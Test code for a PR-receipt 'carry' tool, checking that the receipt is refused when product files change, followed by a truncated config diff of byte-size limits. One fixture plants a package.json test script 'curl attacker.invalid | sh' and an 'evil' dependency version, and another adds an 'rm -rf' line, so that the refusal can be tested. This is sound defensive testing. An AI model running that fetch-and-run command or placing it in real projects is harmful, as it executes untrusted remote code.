expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\n' })).toBe('metadata');
expect(classifyCarryPath('VERSION', {}, { before: '1.2.3.0\n', after: '1.2.4.0\nextra\n' })).toBe('product');
expect(classifyCarryPath('package.json')).toBe('metadata');
// a policy-named stamp path is metadata only while its change is a stamp, the rule the tree receipt applies to the same paths:
// a logic change in a stamped source file is product (pass-4 outside review of #3481)
const stamped = { oldVersion: '1.2.3.0', newVersion: '1.2.4.0' };
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.4.0";\n', ...stamped })).toBe('metadata');
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.4.0";\nexport const unsafe = true;\n', ...stamped })).toBe('product');
expect(classifyCarryPath('src/version.ts', { metadata: ['src/version.ts'] }, { before: 'export const V = "1.2.3.0";\n', after: 'export const V = "1.2.3.0";\nexport const unsafe = true;\n', oldVersion: '1.2.3.0', newVersion: '1.2.3.0' })).toBe('product');
expect(classifyCarryPath('plugin/manifest.json', { metadata: ['plugin/**'] }, { before: '{\n "version": "1.2.3"\n}\n', after: '{\n "version": "1.2.4"\n}\n', ...stamped })).toBe('metadata');
expect(classifyCarryPath('plugin/manifest.json', { metadata: ['plugin/**'] }, { before: '{\n "version": "1.2.3"\n}\n', after: '{\n "version": "1.2.4",\n "permissions": ["all"]\n}\n', ...stamped })).toBe('product');
expect(stampOnlyText({ before: 'v1.2.3.0', after: 'v1.2.4.0', ...stamped })).toBe(true);
expect(stampOnlyText({ before: null, after: 'v1.2.4.0', ...stamped })).toBe(false);
expect(stampOnlyText({ before: 'v1.2.3.0', after: 'v1.2.4.0', oldVersion: null, newVersion: '1.2.4.0' })).toBe(false);
const base = { from: 'f'.repeat(40), head: 'e'.repeat(40), productPatchId: { from: 'p', head: 'p' }, testPatchId: { from: 't', head: 't' }, changedProduct: [], mergeCommits: 0, rangeDiff: 'rd' };
const meta = planCarry({ ...base, changed: [{ path: 'VERSION', class: 'metadata' }, { path: 'CHANGELOG.md', class: 'metadata' }] });
expect(meta.ok && meta.carry.reason).toBe('release metadata');
expect(meta.ok && meta.carry.changed_paths).toEqual(['metadata:VERSION', 'metadata:CHANGELOG.md']);
const merges = planCarry({ ...base, mergeCommits: 2, changed: [{ path: 'src/other.ts', class: 'product' }] });
expect(merges.ok && merges.carry.reason).toBe('2 base merges');
const reverted = planCarry({ ...base, changed: [{ path: 'src/other.ts', class: 'product' }] });
expect(reverted.ok && reverted.carry.reason).toBe('no product change');
const empty = planCarry({ ...base, changed: [] });
expect(empty.ok && [empty.carry.reason, empty.carry.product_patch_id]).toEqual(['no content change', 'p']);
expect(planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }).ok && (planCarry({ ...base, productPatchId: { from: '', head: '' }, changed: [] }) as any).carry.product_patch_id).toBe('none');
const changed = planCarry({ ...base, productPatchId: { from: 'p', head: 'q' }, mergeCommits: 1, changed: [], changedProduct: Array.from({ length: 22 }, (_, i) => `src/f${i}.ts`) });
expect(changed.ok).toBe(false);
expect(!changed.ok && changed.code).toBe('RECEIPT_CARRY_PRODUCT_CHANGED');
expect(!changed.ok && changed.message).toContain('src/f0.ts, src/f1.ts');
expect(!changed.ok && changed.message).toContain('src/f19.ts (+2 more)');
expect(!changed.ok && changed.message).not.toContain('src/f20.ts');
const repo = fixture();
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed app'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
repo.git('commit', '-qam', 'feat: a=2');
const reviewed = repo.git('rev-parse', 'HEAD');
// the stamp: VERSION, package.json (version only), the CHANGELOG, a stamp_paths doc and a release_outputs file
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.4.0\n');
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"version": "1.2.3"', '"version": "1.2.4"'));
fs.writeFileSync(path.join(repo.work, 'CHANGELOG.md'), fs.readFileSync(path.join(repo.work, 'CHANGELOG.md'), 'utf8').replace('# Changelog\n', '# Changelog\n\n## [1.2.4.0] - 2026-10-26\n\n- a=2\n'));
fs.writeFileSync(path.join(repo.work, 'docs', 'notes.md'), fs.readFileSync(path.join(repo.work, 'docs', 'notes.md'), 'utf8').replace('v1.2.3.0', 'v1.2.4.0'));
fs.writeFileSync(path.join(repo.work, 'generated', 'digest.md'), '# digest v1.2.4.0\nbody\n');
repo.git('commit', '-qam', 'stamp 1.2.4.0');
const head = repo.git('rev-parse', 'HEAD');
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main', version: '1.2.3.0' } as any));
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
const carried = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'carry-run'), '--json'], env);
expect(carried.status).toBe(EXIT.ok);
expect(carried.out).toContain(`CARRY: carried from ${reviewed.slice(0, 12)} to ${head.slice(0, 12)} (release metadata)`);
const after = extractReceipt(fs.readFileSync(body, 'utf8'));
expect(after.errors).toEqual([]);
expect(after.receipt).toMatchObject({ pr: 6, head, carry: { from: reviewed, reason: 'release metadata', merge_commits: 0 } });
expect(after.receipt!.carry!.changed_paths.sort()).toEqual([
'metadata:CHANGELOG.md', 'metadata:VERSION', 'metadata:docs/notes.md', 'metadata:generated/digest.md', 'metadata:package.json']);
expect(after.receipt!.carry!.product_patch_id).toMatch(/^[0-9a-f]{40}$/);
// a lockfile edit is a product change (the policy names no lockfile), named by path
fs.writeFileSync(path.join(repo.work, 'package-lock.json'), fs.readFileSync(path.join(repo.work, 'package-lock.json'), 'utf8').replace(/"version": "1\.2\.3"(\s*\}\s*\}\s*\}\s*)$/, '"version": "9.9.9"$1'));
repo.git('commit', '-qam', 'lockfile');
const lock = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(lock.status).toBe(EXIT.refused);
expect(lock.err).toContain(': package-lock.json');
repo.git('reset', '-q', '--hard', head);
// a stamp_paths file whose change is not a stamp (a sentence added under the same version) is a product change, named by path
fs.appendFileSync(path.join(repo.work, 'docs', 'notes.md'), 'Deploy hook now runs as root.\n');
repo.git('commit', '-qam', 'notes');
const stampPath = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(stampPath.status).toBe(EXIT.refused);
expect(stampPath.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
expect(stampPath.err).toContain(': docs/notes.md');
repo.git('reset', '-q', '--hard', head);
// a dependency swap plus a new script in package.json is a product change, whatever the version did
fs.writeFileSync(path.join(repo.work, 'package.json'), fs.readFileSync(path.join(repo.work, 'package.json'), 'utf8').replace('"left-pad": "1.2.3"', '"left-pad": "9.9.9-evil"').replace('"scripts": {', '"scripts": { "test": "curl attacker.invalid | sh",'));
repo.git('commit', '-qam', 'deps');
const deps = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(deps.status).toBe(EXIT.refused);
expect(deps.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
expect(deps.err).toContain(': package.json');
repo.git('reset', '-q', '--hard', head);
// the same stamp plus a product edit is still a product change, named by path
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 3;\n');
fs.writeFileSync(path.join(repo.work, 'VERSION'), '1.2.5.0\n');
repo.git('commit', '-qam', 'a=3 and restamp');
const refusedRun = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env);
expect(refusedRun.status).toBe(EXIT.refused);
expect(refusedRun.err).toContain(': src/app.ts');
expect(refusedRun.err).not.toContain('VERSION');
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(head);
});
// /ship Step 9 pass 1 (security specialist, reproduced in the QA smoke): the carry's proof was patch-id --stable, which strips whitespace.
// Value: protects=a product edit that only moves whitespace in a reviewed line (semantics in shell, YAML, Python) refuses to carry,
// and a dirty working tree refuses before anything is compared; fails_when=patchId drops --verbatim or the status check goes;
// why_new=the carry tests covered content edits only; seam=none; no_claim=none beyond protects
test('carry refuses a whitespace-only edit to a reviewed line and a working tree with uncommitted changes', () => {
const repo = fixture();
fs.mkdirSync(path.join(repo.work, 'bin'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR"/x\n');
repo.git('commit', '-qam', 'reviewed');
const reviewed = repo.git('rev-parse', 'HEAD');
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: reviewed, base: 'main' } as any));
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
// a carry-able commit (a test) with a pending product edit beside it: the pending edit is not in what the carry compares
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'test', 'x.test.ts'), 'test\n');
repo.git('add', 'test'); repo.git('commit', '-qm', 'test');
fs.writeFileSync(path.join(repo.work, 'bin', 'x.sh'), '#!/bin/sh\necho start\nrm -rf "$DIR" /x\n');
const dirty = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(dirty.status).toBe(EXIT.refused);
expect(dirty.err).toContain('the working tree has uncommitted changes (bin/x.sh)');
expect(dirty.err).toContain('(RECEIPT_CARRY_REFUSED;');
repo.git('commit', '-qam', 'ws only');
const ws = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--dry-run'], env);
expect(ws.status).toBe(EXIT.refused);
expect(ws.err).toContain('(RECEIPT_CARRY_PRODUCT_CHANGED;');
expect(ws.err).toContain(': bin/x.sh');
expect(extractReceipt(fs.readFileSync(body, 'utf8')).receipt!.head).toBe(reviewed);
});
// /ship Step 9 pass 1 (testing specialist): a receipt carried twice named the carried head as its origin.
// Value: protects=a receipt carried A→B then B→C still names the reviewed head A, adds up the hops' merges and paths, and the
// run record's carried_from is A; fails_when=carryReceipt spreads the new carry over the old one; why_new=only single carries
// were tested; seam=none; no_claim=none beyond protects
test('a receipt carried twice keeps the reviewed head as carry.from and accumulates the hops', () => {
const repo = fixture();
fs.mkdirSync(path.join(repo.work, 'src'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 1;\n');
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 1;\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'src', 'app.ts'), 'export const a = 2;\n');
repo.git('commit', '-qam', 'feat');
const a = repo.git('rev-parse', 'HEAD');
// main moves on an unrelated file; feat merges it (hop 1), then a test lands (hop 2)
repo.git('checkout', '-q', 'main');
fs.writeFileSync(path.join(repo.work, 'src', 'other.ts'), 'export const o = 2;\n');
repo.git('commit', '-qam', 'main: other'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-q', 'feat'); repo.git('merge', '-q', '--no-edit', 'main');
const b = repo.git('rev-parse', 'HEAD');
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 6, head: a, base: 'main' } as any));
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), GSTACK_SESSION_KIND: 'unattended' };
expect(runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body], env).status).toBe(EXIT.ok);
fs.mkdirSync(path.join(repo.work, 'test'), { recursive: true });
fs.writeFileSync(path.join(repo.work, 'test', 'app.test.ts'), 'test\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'test');
const c = repo.git('rev-parse', 'HEAD');
const second = runBin(repo, 'gstack-ship-receipt', ['carry', '--body', body, '--out', path.join(repo.root, 'run2'), '--json'], env);
expect(second.status).toBe(EXIT.ok);
expect(second.out).toContain(`CARRY: carried from ${b.slice(0, 12)} to ${c.slice(0, 12)} (test-only change)`);
const receipt = extractReceipt(fs.readFileSync(body, 'utf8')).receipt!;
expect(receipt.head).toBe(c);
expect(receipt.carry).toMatchObject({ from: a, reason: 'base merge + test-only change', merge_commits: 1 });
expect(receipt.carry!.changed_paths).toEqual(['product:src/other.ts', 'test:test/app.test.ts']);
expect(receiptSummaryLine(receipt)).toContain(`carried_from=${a.slice(0, 12)}`);
const run = JSON.parse(fs.readFileSync(path.join(repo.root, 'run2', 'ship-run.json'), 'utf8'));
expect(run.carried_from).toBe(a);
});
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
// Value: protects=carry through gh never rebinds a receipt to a head GitHub has not seen (HEAD ahead of the pushed head is
// refused with "push first"), and a failed gh pr edit or gh pr view reports status=incomplete with the body left as it was,
// never status=complete; fails_when=the headRefOid check is dropped, or the gh failure path returns the terminal complete line
// or writes a run record; why_new=the existing gh carry test covers the happy post only; seam=none; no_claim=gh itself (a shim
// stands in for pr view and pr edit)
test('carry --pr refuses a HEAD that is not the pushed head, and a failing gh pr edit or pr view is incomplete with nothing carried', () => {
const repo = fixture();
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'a\n');
repo.git('add', '.'); repo.git('commit', '-qm', 'seed'); repo.git('push', '-q', 'origin', 'main');
repo.git('checkout', '-qb', 'feat');
fs.writeFileSync(path.join(repo.work, 'a.txt'), 'b\n');
repo.git('commit', '-qam', 'feat');
const reviewed = repo.git('rev-parse', 'HEAD');
repo.git('commit', '-q', '--allow-empty', '-m', 'empty follow-up');
const head = repo.git('rev-parse', 'HEAD');
const shimDir = path.join(repo.root, 'gh3');
fs.mkdirSync(shimDir);
const posted = path.join(shimDir, 'posted.md');
const prJson = path.join(shimDir, 'pr.json');
const editRc = path.join(shimDir, 'edit-rc');
const prBody = placeReceiptFirst('## Summary\n\nProse.\n', { schema_version: 1, pr: 8, head: reviewed, base: 'main' } as any);
fs.writeFileSync(path.join(shimDir, 'gh'), [
'#!/bin/sh',
`if [ "$1" = pr ] && [ "$2" = view ]; then [ -f "${prJson}" ] || { echo "gh: HTTP 502" >&2; exit 1; }; cat "${prJson}"; exit 0; fi`,
`if [ "$1" = pr ] && [ "$2" = edit ]; then shift 3; [ "$1" = --body-file ] || exit 9; cp "$2" "${posted}"; rc=$(cat "${editRc}" 2>/dev/null || echo 0); [ "$rc" = 0 ] || echo "gh: validation failed" >&2; exit "$rc"; fi`,
'echo "unsupported $*" >&2; exit 1', '',
].join('\n'), { mode: 0o755 });
const env = { GSTACK_STATE_ROOT: path.join(repo.root, 'state'), PATH: `${shimDir}:${process.env.PATH}` };
const runDir = path.join(repo.root, 'run');
// GitHub still has the reviewed head: the follow-up was never pushed
fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: reviewed }));
const unpushed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
expect(unpushed.status).toBe(EXIT.refused);
expect(unpushed.err).toContain(`HEAD ${head.slice(0, 12)} is not PR #8's pushed head ${reviewed.slice(0, 12)}; push first, then carry`);
expect(unpushed.err).toContain('(RECEIPT_CARRY_REFUSED;');
expect(unpushed.out.trim()).toBe('CARRY: refused (RECEIPT_CARRY_REFUSED)\nGSTACK_RESULT: skill=ship status=refused run=-');
expect(fs.existsSync(posted)).toBe(false);
// pushed, but the edit fails: incomplete, no run record, nothing carried
fs.writeFileSync(prJson, JSON.stringify({ body: prBody, headRefOid: head }));
fs.writeFileSync(editRc, '1\n');
const editFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
expect(editFailed.status).toBe(EXIT.fail);
expect(editFailed.err).toContain('gh pr edit failed: gh: validation failed; the receipt was not carried');
expect(editFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
expect(fs.existsSync(runDir)).toBe(false);
const jsonFail = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir, '--json'], env);
expect(jsonFail.status).toBe(EXIT.fail);
expect(JSON.parse(jsonFail.out)).toMatchObject({ skill: 'ship', status: 'incomplete', run: '-' });
// gh pr view fails: incomplete, not refused
fs.rmSync(prJson);
const viewFailed = runBin(repo, 'gstack-ship-receipt', ['carry', '--pr', '8', '--out', runDir], env);
expect(viewFailed.status).toBe(EXIT.fail);
expect(viewFailed.err).toContain('gh pr view failed: gh: HTTP 502');
expect(viewFailed.out.trim()).toBe('GSTACK_RESULT: skill=ship status=incomplete run=-');
expect(fs.existsSync(runDir)).toBe(false);
});
});
describe('review_loop receipt input (harness lane E: the factory scorecard counters)', () => {
// Generated by /ship Step 7 (coverage audit of the harness lane E diff).
// Value: protects=the receipt's review_loop carries only well-formed non-negative integer counters, and `write --review-loop`
// refuses a malformed record instead of silently dropping it from the receipt the scorecard reads; fails_when=parseReviewLoop
// accepts a float, a negative or a string count, or write ignores a bad --review-loop and writes the body anyway; why_new=the
// write test covers one valid record only; seam=none; no_claim=none beyond protects
// Moved out of the heavy write test above by /ship Step 7: with the loop case appended there, that test ran 4.8–5.0 s on a
// 4-core machine and tripped bun's 5 s per-test default about every other run; the loop case needs no stamped tree receipt.
test('write --review-loop records the loop counters in the receipt and the SHIP_RECEIPT line', () => {
const repo = fixture();
const loopFile = path.join(repo.root, 'review-loop.json');
fs.writeFileSync(loopFile, JSON.stringify({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' }));
const loopBody = path.join(repo.root, 'body-loop.md');
fs.writeFileSync(loopBody, '## Summary\n');
const withLoop = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '42', '--base', 'main', '--gate', '{"tests":{"pass":1,"fail":0,"skip":0}}',
'--session-kind', 'unattended', '--queue-mode', 'stamp-at-merge', '--history', 'squash-ok', '--review-loop', '@' + loopFile, '--body', loopBody]);
expect(withLoop.status).toBe(EXIT.ok);
expect(withLoop.err.trim()).toContain(' passes=2 blocking_found=1 deferred=1');
expect(extractReceipt(withLoop.out).receipt).toMatchObject({ pr: 42, review_loop: { passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' } });
const written = extractReceipt(fs.readFileSync(loopBody, 'utf8'));
expect(written.errors).toEqual([]);
expect(Object.keys(written.receipt!).slice(-1)).toEqual(['review_loop']);
});
test('parseReviewLoop keeps integer counters and drops the rest; write --review-loop refuses a malformed record and writes nothing', () => {
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1 })).toEqual({ passes: 2, blocking_found: 1, deferred: 1 });
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen', extra: 'x' })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, noted: 3, fixed: 1, scope: 'frozen' });
expect(parseReviewLoop({ passes: 2, blocking_found: 1, deferred: 1, noted: -1, fixed: 1.5, scope: 'x'.repeat(40) })).toEqual({ passes: 2, blocking_found: 1, deferred: 1, scope: 'x'.repeat(20) });
expect(parseReviewLoop({ passes: 0, blocking_found: 0, deferred: 0 })).toEqual({ passes: 0, blocking_found: 0, deferred: 0 });
for (const bad of [undefined, null, 'frozen', [], { passes: 2, blocking_found: 1 }, { passes: '2', blocking_found: 1, deferred: 1 }, { passes: 1.5, blocking_found: 1, deferred: 1 }, { passes: -1, blocking_found: 1, deferred: 1 }]) {
expect(parseReviewLoop(bad)).toBeUndefined();
}
expect(receiptSummaryLine({ schema_version: 1, head: HEAD, base: 'main', review_loop: { passes: '2', blocking_found: 1, deferred: 1 } } as any)).not.toContain('passes=');
const repo = fixture();
const body = path.join(repo.root, 'body.md');
fs.writeFileSync(body, 'prose\n');
const r = runBin(repo, 'gstack-ship-receipt', ['write', '--pr', '7', '--base', 'main', '--session-kind', 'x', '--review-loop', '{"passes":"2","blocking_found":1,"deferred":1}', '--body', body]);
expect(r.status).toBe(EXIT.usage);
expect(r.err).toContain('--review-loop needs integer passes, blocking_found and deferred');
expect(r.out).toBe('');
expect(fs.readFileSync(body, 'utf8')).toBe('prose\n');
});
});
describe('bindReceipt head matching (rule 22)', () => {
// Value: protects=a receipt binds only to a full or 12+ character prefix of an accepted head, and names the PR it was written for;
// fails_when=the 12-character floor is dropped (head "a" would bind any head) or the pr check is removed;
+3 -3
View File
@@ -155,7 +155,7 @@ export const CARVE_GUARDS: Record<string, CarveGuard> = {
},
behavioral: 'external',
externalTest: 'test/skill-e2e-ship-section-loading.test.ts',
maxSkeletonBytes: 81_600, // + v2.0 {{ASIDE_RESEARCH}} (Aside first, WebSearch fallback); measured 78_275. + gate integrity (HONEST_WORK_GATE_INTEGRITY W3): Step 16 stage 4 ZERO-RUN/unknown receipt rows, stage 5 honesty inventory, Step 17 open-gate ready-PR gate; measured 80,540 (2026-10-10). + rule 22 / GBRA-108 (2026-10-25): Step 22's terminal line (gstack-ship-receipt result, the GSTACK_RESULT line a parent greps) and Step 18's unattended routing (an open PR at HEAD gets its body updated, else handoff), offset in part by tightening Steps 14, 16, 18 and 20 prose after the 2026-10-14 tightening left 2 bytes of headroom; measured 81,535.
maxSkeletonBytes: 82_700, // + v2.0 {{ASIDE_RESEARCH}} (Aside first, WebSearch fallback); measured 78_275. + gate integrity (HONEST_WORK_GATE_INTEGRITY W3): Step 16 stage 4 ZERO-RUN/unknown receipt rows, stage 5 honesty inventory, Step 17 open-gate ready-PR gate; measured 80,540 (2026-10-10). + rule 22 / GBRA-108 (2026-10-25): Step 22's terminal line (gstack-ship-receipt result, the GSTACK_RESULT line a parent greps) and Step 18's unattended routing (an open PR at HEAD gets its body updated, else handoff), offset in part by tightening Steps 14, 16, 18 and 20 prose after the 2026-10-14 tightening left 2 bytes of headroom; measured 81,535. + harness lane E (2026-10-26, issue row 3: four Captains re-ran /ship on identical product code): Step 1's carry check (gstack-ship-receipt carry binds an earlier receipt to HEAD when the product patch-id is unchanged); measured 82,165. + the Review policy paragraph (the blocking floor, pass structure and cap, NO FINDINGS, the review_loop receipt counters, the review_scope knob), stated in the skeleton because gstack is the canonical holder of its review policy (docs/review-policy.md); measured 82,645.
minUnionBytes: 181_000, // token-reduction Phases 1-2 (v1.69.x branch); measured union 201,464
mustContain: ['VERSION', 'CHANGELOG', 'review', 'merge', 'PR'],
// v1.58.5.0: pre-push-guard install (#2077) stacks on the shared first-run-guidance preamble.
@@ -168,7 +168,7 @@ export const CARVE_GUARDS: Record<string, CarveGuard> = {
// wave's headline capability) grows the union to 1.195x. Deliberate:
// the section is on-demand (loads only for Apple store targets), so
// per-invocation cost for non-iOS ships is one manifest line.
maxSizeRatio: 1.6740, // Shared advisory identity/dedup + critical-severity validation: 248,065 union bytes / 187,706 baseline = 1.3216 (2026-09-17). + test value bar in the lazy Step 7 section (value cards, weak paths, gate table, base control, machine checks; ~13.6KB): measured 1.396 (2026-09-29). + W1 guarded state-root resolution (`eval gstack-paths; : "${GSTACK_STATE_ROOT:?…}"`) in the Context Recovery preamble, the eureka log and each state-writing bash block; measured 1.401 (2026-09-30). + the shared QA review step's plan-check timing rule (plan checks and their revalidation run on --timeout-ms after smoke expiry); measured 1.4022 (2026-09-30). + the shared TEST_BOOTSTRAP owned-change undo rules (s03 H1-H3, M1) and the value-bar coverage wording (s03 M2/M3); measured 1.4044 (2026-10-02). + severe fix wave ship-review lane: G1 NO_VERSION dispatch, title and CHANGELOG arms (versionless repos ship without inventing a version), F1 parent-side plan binding before the audit dispatch (binding, docs/designs candidates, exact not-run line) and D3's data-not-instructions line; +2,126 union bytes, measured 1.4135 (2026-10-03). + INV-1 consumer lines (outside review `unverified`/`unavailable` is missing coverage in the readiness note and PR body); measured 1.4148 (2026-10-03). + v1.91.19.0 severe fix wave: verdict-form outside-review callers with sandbox preflight and first-use notice (INV-1/B1/Q2), P0/P1 gate and unverified wording, bound-plan discovery (F1), visible LEARNINGS failures (B5), carved external pointers; measured 267,752 / 187,706 = 1.4264 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 267,874 / 187,706 = 1.4271 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051) and quoted-heredoc issue template (#3046); measured 268,199 / 187,706 = 1.4288 (2026-10-06). + Step 10's inline no-PR check before the Greptile dispatch (#3020); measured 268,655 / 187,706 = 1.4313 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 275,422 / 187,706 = 1.4673 (2026-10-06). Combined Oct 6 wave head (B free-text files + D measure loop + A rework): measured 280,363 / 187,706 = 1.4936 (2026-10-06). + gate-once push rule (no second paid gate after a CI push); measured 280,573 / 187,706 = 1.4947 (2026-10-06). + the measurement bar's decision step (exit-code branches for MEETS, MEETS-qualified, needs-classify with the qualifying and fix-round classes, EXTEND once; the measure prose was tightened to offset most of it); measured 281,058 / 187,706 = 1.4973 (2026-10-06). + Oct 7 wave B3: the Codex probe runs as a command (select-model capture lines, check-sandbox/probe-model/run-with-timeout subcommands) instead of being sourced; measured 281,438 / 187,706 = 1.4994 (2026-10-07). + Oct 7 wave CEO-28/DX-11: review prompts ask for a severity per finding and design proposals use the proposal gate; measured 281,556 / 187,706 = 1.5000 (2026-10-07). + Oct 7 wave B4: /ship publishes through gstack-post (title prepared in a file in the pr-body section, compose block plus gstack-post exit-code branches replacing the two scans); measured 281,894 / 187,706 = 1.5018 (2026-10-07). + B2 early Greptile PR (lazy Step 6.5 section: detect, public-repo consent, push, provisional title file, open; Step 10's bounded wait; the stop-leaves-the-draft rule); measured 286,626 / 187,706 = 1.5270 (2026-10-07). B3, the classifier, B4 and B2 merged: measured 287,128 / 187,706 = 1.5297 (2026-10-07). + Oct 7 wave guard (CEO-20): conditional `run_in_background` request plus the background-run recovery at each foreground dispatch site; measured 281,370 / 187,706 = 1.4990 (2026-10-07). Merged with the guard area: measured 287,440 / 187,706 = 1.5313 (2026-10-07). + Oct 8 wave: the defensive-security framing and fixture summary mode reach the security specialist and the Red Team (stated once in the dispatch, referenced by the Red Team); measured 288,783 / 187,706 = 1.5385 (2026-10-08). + gate integrity (HONEST_WORK_GATE_INTEGRITY W3): the shared GATE_SCAN_BLOCK in the core checklist (2.5) and after Step 7's child, the four-option gate question and record fields in 9.4, tests_ran states in Step 5, Gate edits and per-lane counts in the PR body with draft-while-open; measured 300,143 / 187,706 = 1.5990 (2026-10-10). + Honest Work wave merged (W2/W3 gate integrity in review/ship, W4 kernel + DONE line in every tier-2+ skill, W5/W7 in spec/ship): re-measured on the integrated tree (2026-10-10). + Oct 10 multi-agent wave PR E2 (ship/sections/handoff.md: the no-PR automation handoff, with its Section-index row and STOP pointer in the skeleton), offset by tightening Steps 1–3, 12, 14–17 and 20–21 prose so the skeleton stays under 81,000 bytes (80,997); C-pregate landed 1,123 union bytes in tests.md in between; measured 308,619 / 187,706 = 1.6442 on the integra Line truncated
maxSizeRatio: 1.7150, // Shared advisory identity/dedup + critical-severity validation: 248,065 union bytes / 187,706 baseline = 1.3216 (2026-09-17). + test value bar in the lazy Step 7 section (value cards, weak paths, gate table, base control, machine checks; ~13.6KB): measured 1.396 (2026-09-29). + W1 guarded state-root resolution (`eval gstack-paths; : "${GSTACK_STATE_ROOT:?…}"`) in the Context Recovery preamble, the eureka log and each state-writing bash block; measured 1.401 (2026-09-30). + the shared QA review step's plan-check timing rule (plan checks and their revalidation run on --timeout-ms after smoke expiry); measured 1.4022 (2026-09-30). + the shared TEST_BOOTSTRAP owned-change undo rules (s03 H1-H3, M1) and the value-bar coverage wording (s03 M2/M3); measured 1.4044 (2026-10-02). + severe fix wave ship-review lane: G1 NO_VERSION dispatch, title and CHANGELOG arms (versionless repos ship without inventing a version), F1 parent-side plan binding before the audit dispatch (binding, docs/designs candidates, exact not-run line) and D3's data-not-instructions line; +2,126 union bytes, measured 1.4135 (2026-10-03). + INV-1 consumer lines (outside review `unverified`/`unavailable` is missing coverage in the readiness note and PR body); measured 1.4148 (2026-10-03). + v1.91.19.0 severe fix wave: verdict-form outside-review callers with sandbox preflight and first-use notice (INV-1/B1/Q2), P0/P1 gate and unverified wording, bound-plan discovery (F1), visible LEARNINGS failures (B5), carved external pointers; measured 267,752 / 187,706 = 1.4264 (2026-10-03). + v1.91.18.0 (#3023) merged into the v1.91.19.0 wave; measured 267,874 / 187,706 = 1.4271 (2026-10-04). + Oct 6 fix wave: quota_exhausted preflight branch (#3051) and quoted-heredoc issue template (#3046); measured 268,199 / 187,706 = 1.4288 (2026-10-06). + Step 10's inline no-PR check before the Greptile dispatch (#3020); measured 268,655 / 187,706 = 1.4313 (2026-10-06). + Oct 6 fix wave A3/CEO-12: free text reaches commands only through agent-written mktemp files (mktemp block, write rule, path rebuild and refusal at each posting, prompt and brief site); measured 275,422 / 187,706 = 1.4673 (2026-10-06). Combined Oct 6 wave head (B free-text files + D measure loop + A rework): measured 280,363 / 187,706 = 